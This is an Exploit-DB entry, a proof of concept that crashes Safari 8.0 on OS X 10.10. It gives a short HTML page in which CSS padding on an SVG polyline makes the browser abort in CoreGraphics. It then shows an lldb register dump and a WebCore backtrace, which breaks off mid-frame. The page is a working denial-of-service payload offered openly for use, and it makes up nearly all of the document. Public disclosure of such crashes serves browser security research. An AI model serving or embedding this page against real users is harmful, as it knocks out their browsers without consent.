Exploit-DB #35279
Description: Apple Mac OSX Safari 8.0 - Crash (PoC)
Type: dos
Platform: osx
Date: 2014-11-17
Author: w3bd3vil

Exploit:
@w3bd3vil

<!DOCTYPE html>
<head>
    <style>
        svg {
            padding-top: 1337%;
            box-sizing: border-box;
        }
    </style>
</head>
<body>
    <svg viewBox="0 0 500 500" width="500" height="500">
        <polyline points="1 1,2 2"></polyline>
    </svg>
</body>
</html>

<!--
	Safari 8.0 / OSX 10.10
	
* thread #1: tid = 0xc2e73, 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
    frame #0: 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10
libsystem_kernel.dylib`__pthread_kill + 10:
-> 0x7fff8ab10282:  jae    0x7fff8ab1028c            ; __pthread_kill + 20
   0x7fff8ab10284:  movq   %rax, %rdi
   0x7fff8ab10287:  jmp    0x7fff8ab0bca3            ; cerror_nocancel
   0x7fff8ab1028c:  retq   
(lldb) register read 
General Purpose Registers:
       rax = 0x[PII_REDACTED]000000
       rbx = 0x[PII_REDACTED]000006
       rcx = 0x00007fff5b761d98
       rdx = 0x[PII_REDACTED]000000
       rdi = 0x[PII_REDACTED]00140f
       rsi = 0x[PII_REDACTED]000006
       rbp = 0x00007fff5b761dc0
       rsp = 0x00007fff5b761d98
        r8 = 0x[PII_REDACTED]000000
        r9 = 0x[PII_REDACTED]0000a8
       r10 = 0x[PII_REDACTED]000000
       r11 = 0x[PII_REDACTED]000206
       r12 = 0x00007fff84b36487  "transform_is_valid(m)"
       r13 = 0x[PII_REDACTED]c2c000
       r14 = 0x00007fff747ae300  libsystem_pthread.dylib`_thread
       r15 = 0x00007fff84b36477  "Paths/CGPath.cc"
       rip = 0x00007fff8ab10282  libsystem_kernel.dylib`__pthread_kill + 10
    rflags = 0x[PII_REDACTED]000206
        cs = 0x[PII_REDACTED]000007
        fs = 0x[PII_REDACTED]000000
        gs = 0x[PII_REDACTED]000000

(lldb) bt 
* thread #1: tid = 0xc2e73, 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT
  * frame #0: 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10
    frame #1: 0x00007fff904df4c3 libsystem_pthread.dylib`pthread_kill + 90
    frame #2: 0x00007fff88d36b73 libsystem_c.dylib`abort + 129
    frame #3: 0x00007fff88cfec59 libsystem_c.dylib`__assert_rtn + 321
    frame #4: 0x00007fff84643cb6 CoreGraphics`CGPathCreateMutableCopyByTransformingPath + 242
    frame #5: 0x00007fff84692a2f CoreGraphics`CGContextAddPath + 93
    frame #6: 0x00007fff8e9b5f04 WebCore`WebCore::GraphicsContext::fillPath(WebCore::Path const&) + 148
    frame #7: 0x00007fff8f479ad1 WebCore`WebCore::RenderSVGResourceSolidColor::postApplyResource(WebCore::RenderElement&, WebCore::GraphicsContext*&, unsigned short, WebCore::Path const*, WebCore::RenderSVGShape const*) + 65
    frame #8: 0x00007fff8f47a2fa WebCore`WebCore::RenderSVGShape::fillShape(WebCore::RenderStyle const&, WebCore::GraphicsContext*) + 122
    frame #9: 0x00007fff8f47a633 WebCore`WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) + 131
    frame #10: 0x00007fff8eab4aeb WebCore`WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 379
    frame #11: 0x00007fff8eab477d WebCore`WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 1325
    frame #12: 0x00007fff8ea2c3f2 WebCore`WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 722
    frame #13: 0x00007fff8ef300a8 WebCore`WebCore::InlineElementBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 312
    frame #14: 0x00007fff8e9b1e83 WebCore`WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 1251
    frame #15: 0x00007fff8e9b1929 WebCore`WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 89
    frame #16: 0x00007fff8e9613c6 WebCore`WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, WebCore::PaintInfo&, WebCore::LayoutPoint const&) const + 694
    frame #17: 0x00007fff8e95e9a3 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 67
    frame #18: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420
    frame #19: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287
    frame #20: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393
    frame #21: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72
    frame #22: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240
    frame #23: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420
    frame #24: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287
    frame #25: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393
    frame #26: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72
    frame #27: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240
    frame #28: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420
    frame #29: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287
    frame #30: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint co